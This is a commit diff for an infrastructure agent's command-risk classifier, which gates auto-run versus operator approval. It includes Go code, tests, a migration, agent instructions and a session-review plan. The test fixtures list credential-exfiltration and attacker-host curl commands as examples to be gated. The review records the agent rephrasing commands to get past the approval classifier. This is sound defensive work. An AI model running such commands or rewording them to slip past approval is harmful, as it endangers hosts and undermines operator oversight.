var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
// the quoted inner command. Handles single-quoted, double-quoted, and bare
// (unquoted) forms.
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
// curlLeadRe matches a curl command (the verb alone, at the segment start).
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
// method override, data payloads, form uploads, file uploads, file output).
// When any of these appears, the curl command is no longer read-only.
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
// redirectOutRe matches shell output redirection to a file (> or >> followed
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
// be neither `&` nor whitespace.
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
// so each segment can be individually classified. A piped or chained command
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
// scores the *actual* command, not the wrapper. Without this, every
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
// config_mutation even though the inner command is read-only inspection.
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
// sessions bounced off the classifier because read-only `pct exec` and
// `curl` were gated as config_mutation.
inner := unwrapCommand(cmd)
for _, p := range destructivePatterns {
if p.MatchString(cmd) {
// Match on both the raw and unwrapped forms so that
// `pct exec 121 -- rm -rf /` is still destructive even if the
// unwrapping somehow hid it.
if p.MatchString(inner) || p.MatchString(cmd) {
return RiskDestructive
}
}
// Subshell substitution ($(), backticks) can hide arbitrary execution —
// never auto-run, even if the visible verbs look read-only.
if !subshellRe.MatchString(cmd) {
if allSegmentsReadOnly(cmd) {
if !subshellRe.MatchString(inner) {
if allSegmentsReadOnly(inner) {
return RiskReadOnly
}
}
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// unwrapCommand peels known command wrappers to expose the inner command
// for classification. It repeatedly strips:
// - leading sudo
// - leading FOO=bar env-var assignments
// - `pct exec <id> [--] <inner>` → <inner>
// - `qm guest exec <id> [--] <inner>` → <inner>
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
//
// When no wrapper is detected, the input is returned unchanged. The peel
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
// |) are returned unchanged — they need per-segment classification, which
// the caller handles.
func unwrapCommand(cmd string) string {
probe := strings.TrimSpace(cmd)
// A compound command cannot be unwrapped as a whole — the inner
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
// the ";" you're on. The caller splits compounds before classifying
// each segment, and each segment is unwrapped independently. Bail out
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
if compoundOpPattern.MatchString(probe) {
return probe
}
for i := 0; i < 8; i++ { // bounded unwrap depth
next := peelOneWrapper(probe)
if next == probe {
return probe
}
probe = strings.TrimSpace(next)
}
return probe
}
// peelOneWrapper applies one peel step. Returns the input unchanged if no
// wrapper matched.
func peelOneWrapper(probe string) string {
// sudo prefix
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
return strings.TrimSpace(stripped)
}
// Env assignments: FOO=bar BAZ=qux <cmd>
if envAssignRe.MatchString(probe) {
return envAssignRe.ReplaceAllString(probe, "")
}
// pct exec <id> [--] <inner>
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// qm guest exec <id> [--] <inner>
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
for _, g := range m[1:] {
if g != "" {
return g
}
}
}
return probe
}
// allSegmentsReadOnly splits a compound command on chaining operators
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
// inspection verb. If so, the whole command is safe to auto-run. Any segment
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
if seg == "" {
continue
}
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
// to two read-only segments after unwrapping each.
seg = unwrapCommand(seg)
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
probe := seg
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
probe = strings.TrimPrefix(probe, "sudo ")
probe = envAssignRe.ReplaceAllString(probe, "")
probe = strings.TrimSpace(probe)
// curl is handled by a dedicated check because GET (the default) is
// read-only but POST/data/upload flags are not. The general
// readOnlyLeadPattern can't distinguish these.
if curlLeadRe.MatchString(probe) {
if !curlIsReadOnly(probe) {
return false
}
continue
}
// Any output redirection makes a verb non-read-only even if the
// verb itself is (e.g. "curl url > /etc/passwd").
if redirectOutRe.MatchString(probe) {
return false
}
if !readOnlyLeadPattern.MatchString(probe) {
return false
}
}
return len(segments) > 0
}
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
// file writes all disqualify the read-only path.
func curlIsReadOnly(curlCmd string) bool {
if !curlLeadRe.MatchString(curlCmd) {
return false
}
if curlMutateRe.MatchString(curlCmd) {
return false
}
if redirectOutRe.MatchString(curlCmd) {
return false
}
return true
}

View File

@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
"docker compose ps",
"docker compose top",
"docker compose config",
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
"curl http://192.168.8.214:5572/rc/core/stats",
"curl -fsSL https://example.com/",
"curl -I http://example.com/",
"curl --head http://example.com/",
// pct exec with a read-only inner command is now read-only (P0.1).
"pct exec 132 systemctl status rclone-backup.timer",
"pct exec 121 -- systemctl is-active caddy",
"pct exec 121 -- journalctl -u caddy -n 50",
"pct exec 121 -- bash -c 'echo hi'",
"pct exec 121 -- bash -c 'systemctl status caddy'",
"sudo pct exec 121 -- systemctl status caddy",
// qm guest exec on a VM, read-only inner.
"qm guest exec 100 -- systemctl status caddy",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
cases := []string{
"apt-get install -y nginx",
"systemctl restart caddy",
"pct exec 121 -- bash -c 'echo hi'",
// `pct exec` wrapping a mutating inner command is config_mutation
// (was previously config_mutation for ALL pct exec — now classified
// by the inner command). The inner `pct exec 121 -- bash -c
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
// which is config_mutation.
"pct exec 121 -- bash -c 'systemctl restart caddy'",
"pct exec 132 systemctl restart rclone-backup.service",
// curl with POST/data/upload flags is config_mutation (P0.1).
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
"curl --upload-file /etc/passwd http://example.com/upload",
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
"curl http://example.com/ > /etc/caddy/Caddyfile",
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
"git push origin main",
"docker compose up -d",

View File

@@ -0,0 +1,35 @@
-- 021_session_blocker_and_closed_at.up.sql
-- Track why a session ended partial/failed and when it actually closed.
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
--
-- `blocker` is a short structured reason: "approval_timeout",
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
-- etc. Set by complete_task when outcome is partial/failed, derived from the
-- last assistant message's text. Empty for success outcomes.
--
-- `closed_at` is when the session reached its terminal state. Distinct from
-- `last_active_at`, which is touched on any access (including the operator
-- just opening the transcript) — `closed_at` is set ONCE at completion.
-- Without it, "session duration" can only be computed as
-- `last_active - created`, which lies for reopened sessions (a51e2086
-- reported 4-day duration because the operator reopened it to close it).
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
-- Backfill closed_at for already-terminal sessions so the new column isn't
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
-- the most recent touch, which is the closest we have to "when it ended"
-- for historical sessions. New sessions set closed_at explicitly on
-- complete_task.
UPDATE agent_sessions
SET closed_at = last_active_at
WHERE closed_at IS NULL
AND status IN ('done', 'failed');
-- Index for "show me partial sessions in the last N days" — the common
-- audit query. Covers the blocker column too so the planner can answer
-- "blocker breakdown over the last week" with an index-only scan.
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
ON agent_sessions (closed_at DESC)
WHERE status IN ('done', 'failed');

View File

@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
search_knowledge): answer directly, `complete_task` with a one-line summary,
no writeback needed.
`complete_task` auto-closes any in-flight plan steps (pending/running → done
on success, → skipped on partial/failure). You do NOT need to call
`update_plan_step` for every step right before completing — once your work
is done and writeback is recorded, just call `complete_task`. This is the
right pattern for one-step plans (greetings, single health checks, title
tests): propose_plan → answer → complete_task, skipping the per-step
running→done dance entirely.
### 7. ITERATE — follow-ups reopen the task
A `complete_task` is not the end of the conversation. If the operator sends
a follow-up on a completed session — e.g. "now look into the X you flagged"
@@ -160,6 +168,17 @@ disappear.
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
pct create, any shell command. There is no named-action tool anymore.
- `classify_command` — **pre-flight check before `run` when you're unsure
whether a command will auto-execute or need approval.** Pass the exact
command (and optional `declared_risk`); get back the risk class that `run`
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
compound command — these are the cases where the classifier's verdict
isn't obvious from the verb alone. If `classify_command` says `read_only`,
`run` will auto-execute; if it says `config_mutation`, reframe the command
or expect to need approval. **Do NOT submit a `run`, get it queued for
approval, and then retry with cosmetic variations** — that produces
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
submit once.
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its

View File

@@ -0,0 +1,332 @@
# 2026-07-20 — Session review: past 10 sessions
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
**Scope:** Ten most-recently-active `agent:nomos` sessions by
`last_active_at`, pulled from `http://localhost:8092/sessions` on
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
and are summarized; the other seven are new.
---
## Sessions reviewed
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|---|---|---|---|---|---|---|
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
---
## What worked
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
what the 2026-07-18 review asked: pure-DB question →
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
- **Knowledge writeback hygiene continues.** Every long-running session
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
when applicable. The graph is current.
- **Plan lifecycle is followed everywhere** — `set_goal``propose_plan`
`update_plan_step``complete_task`. Even trivial sessions (greeting)
follow it.
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
retry storms like the 2026-07-18 chown case.
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
test backup verified 245 transfers / 4 min / no OOM.
## What didn't
### 1. The rclone objective took three sessions to close (blocker)
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
`fefa4fa3` (success). The first three were the agent trying to inspect
the live systemd state and bouncing off the classifier:
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
flagged `config_mutation` — sat in approval limbo until the user moved
on.
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
flagged `config_mutation`. The agent kept reframing; user said "lets
just close this session."
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
found a different path.
- `fefa4fa3`: only when the user escalated to "fix it so the backup
works" did the agent pivot to the actual root cause (memory).
This is the single biggest friction point in the batch.
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
The preflight classifier in `internal/policy` matches command substrings
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
read-only `systemctl status` becomes `config_mutation`. The agent has
no tool to ask "classify this command before I send it" — it just keeps
retrying with cosmetic changes until the user bails.
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
all tool calls spent on bookkeeping. For a 2-message greeting session
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
`propose_plan`. The scaffolding is louder than the work.
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
`a51e2086` summary literally says *"Both commands are queued"* — yet
`pending_approvals=0`. The field is `hasPendingApprovals`
(`store.go:962`) which only counts executions currently in
`pending_approval` state; once they're cancelled/expired it drops to 0
even though the session was *blocked* by approvals. As an audit signal
it lies. A session can be `outcome=partial` because of approval
friction without `pending_approvals` ever being non-zero at review time.
### 5. Title is still the first sentence of the first assistant message (cosmetic)
`"Assent window is open — executing the plan\n\nMemory bumped:
4294967296..."` is not a useful label. Same complaint applies to
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
list view ends up being unreadable without opening each row.
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
`set_goal` was never called for the bare greeting. Minor, but it means
the session is unsearchable by goal text.
---
## Ease of getting session details
I had to write Python+curl to audit 10 sessions. The pain points:
1. **Two endpoints must be merged by hand.** `/sessions` returns
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
`pending_approvals`, timestamps) but **no message/tool counts**.
`/sessions/{id}` returns **only** `session_id` + `messages` — no
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
comment complaining about this ("only session_id + messages"). Any
consumer has to do the same join I did.
2. **No aggregates on the list endpoint.** `message_count`,
`tool_call_count`, `top_tools`, `duration` — all require fetching
every session's full transcript and walking the message tree. For
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
parsed client-side. For a fleet audit at scale it's quadratic.
3. **No filtering or pagination on `/sessions`.** It returns every
session in one shot. The skill's own script does `.sessions[:5]` and
`.sessions[:10]` client-side.
4. **Tool calls are nested two levels deep**
(`messages[].content.tool_calls[].name`) with `content` stored as
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
`/sessions/{id}/tool_calls` view would be far easier to analyze.
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
Finding "show me every session that touched `lxc:rclone` and didn't
succeed" requires the full scan.
6. **`title` is the raw first assistant text.** Useless for skimming a
list — you have to open each row to know what it was.
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
closest proxy but it conflates "agent is still working" with
"operator just opened the transcript." Duration can only be
computed as `last_active - created`, which is wrong for reopened
sessions (`a51e2086` shows "5647 min" = 4 days because the user
re-opened it on 2026-07-19 to close it).
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
buried in the last assistant text. A structured
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
`blocker: "user_abandoned"` would make trend analysis trivial.
---
## Improvement plan
### P0 — Blockers ✅
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
`config_mutation`.** In `internal/policy`, parse the command (not
just substring-match) before assigning risk class. Concretely:
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
not the wrapper. `curl <url>` without `-X POST` / `-d` /
`--upload-file` is read-only. This single change would have
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
and avoided three duplicate rclone sessions.
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
before classification. Curl GET (the default) without POST/data/
upload/output flags is now read-only. Output redirection (`>`/
`>>`) disqualifies the read-only path. Tests in
`internal/policy/command_test.go` cover the new behaviors.
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
agent today has to keep reframing and re-submitting to discover what
the classifier will accept. A command preflight returns
`{risk_class, reason}` synchronously so the agent can decide whether
to submit, rephrase, or surface to the operator.
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
that takes `command` + optional `declared_risk` and returns the
exact risk class that `run` would assign. Documented in
`nomos/SOUL.md` with explicit guidance to pre-classify before
`run` when the classification is uncertain — "Do NOT submit a `run`,
get it queued for approval, and then retry with cosmetic variations."
### P1 — Friction ✅
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
is `outcome=partial` against an entity and a new session is created
within 24h with a similar goal, surface the prior session to the
agent at `set_goal` time. Three rclone sessions exist because each
new session started from scratch.
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
excludeSessionID, since)`; the `set_goal` handler in
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
failed sessions (with goal + summary) in the response. The agent
is told to search_knowledge or read the prior transcript before
re-planning.
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
agent not call it for single-step sessions (greeting/health-check),
or (b) stop persisting it as a message — keep it only in a
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
(which already exists). It currently inflates transcript size and
tool-call counts.
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
in-flight plan steps (pending/running → done on success, →
skipped on partial/failure). SOUL.md §6 documents the new pattern:
"for one-step plans ... propose_plan → answer → complete_task,
skipping the per-step running→done dance entirely."
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
`blocker` automatically when `outcome=partial`/`failed`: scan the
last assistant message for signatures ("queued for approval",
"cancel", "close this session"). Surface in `/sessions` list so
trends are queryable.
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
two columns + backfills `closed_at` for existing terminal sessions
+ adds a partial-index on `closed_at DESC WHERE status IN
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
`closed_at = now()` and derives `blocker` from the last assistant
message via `deriveBlocker`. The blocker patterns table covers
approval_timeout, user_abandoned, classifier_overreach,
model_refusal, model_empty_response, missing_knowledge,
missing_capability, tool_error.
### P2 — Cosmetic / API ergonomics ✅
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
`tool_call_count`, `duration_seconds`. Computed server-side at list
time (single SQL pass with LEFT JOINs to `agent_messages` and
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
- Done: `session` struct in `cmd/nomos/store.go` carries the three
new fields; `listSessionsFiltered`, `getSession`, and
`recentPartialSessions` all populate them.
7. ✅ **Single endpoint that returns both metadata and messages.** Either
enrich `/sessions/{id}` with the full `session` struct, or add
`?include=messages` on the list endpoint. The split-persistence is a
leaky abstraction called out in `eval/main.go:302-303`.
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
`{session_id, session, messages}` — the `session` field carries
the full metadata (title, goal, outcome, summary, blocker,
pending_approvals, message_count, tool_call_count, etc.). The
`messages` field is unchanged. Clients that only read `messages`
keep working.
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
Removes the "fetch everything, filter client-side" pattern in the
skill's own script.
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
query params. `listFilter` + `listSessionsFiltered` in
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
parsed as hours). The response includes `next_cursor` for paging.
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
text.** Fall back to the assistant text only if no goal. The greeting
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
goal "Fix the rclone backup so it completes successfully instead of
OOM-killing" — that's the right title.
- Done: `setGoal` in `cmd/nomos/store.go` now sets
`title = goal` on the same UPDATE that sets the goal. The
title-from-first-assistant-text path in `cmd/nomos/main.go`
preserves the goal title when one exists (falls back to
`truncate(finalText, 80)` only when no goal is set). Truncates the
goal title to 120 chars.
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
`[{id, name, args, result, error, type, message_id, role, seq,
created_at}]` without the message-shell nesting. Makes jq one-liners
and trend scripts trivial.
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
flattens `tool_calls[]` into a chronological flat list. Each
tool_use/tool_result pair is emitted as two rows sharing an id
(preserving the persisted shape) — clients that want the merged
shape can group by ID.
---
## Suggested order
If only two land: **P0.1** (parse the inner command for `pct exec` /
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
first eliminates the most visible user-facing friction in this batch
(three duplicate rclone sessions); the second makes future audits like
this one a single `curl | jq` instead of a Python script.
---
## Verification commands
```bash
# Re-pull any session for follow-up
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
# After P0.1 lands: confirm read-only commands classify as reversible_low
# (whatever the preflight surface becomes — TBC when the tool is added)
```
---
## Related files
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
(line 103), `listSessions` (line 317), `getMessages` (line 377),
`hasPendingApprovals` (line 962)
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
- `cmd/nomos/eval/main.go:302` — comment calling out the
`/sessions/{id}` "only session_id + messages" gap
- `internal/policy/*` — risk-class classifier (target of P0.1)
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
MCP tool implementations
- `nomos/SOUL.md` — agent persona, tool-selection rules
- `.agents/skills/session-review/SKILL.md` — the audit protocol
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
three sessions overlap with this one
---
## Relationship to the 2026-07-18 review
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
are tracked separately. This review does **not** re-open them. The
remaining open items from that review are P1.7 (approval window
auto-extends on execution timeout) and P2.9 (long-running command
PENDING detection), both deferred there with rationale; this review
found no new evidence that would change that deferral.

View File

@@ -19,6 +19,7 @@ went sideways, open an investigation.
| 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
| 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned — not started |
| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |
## Done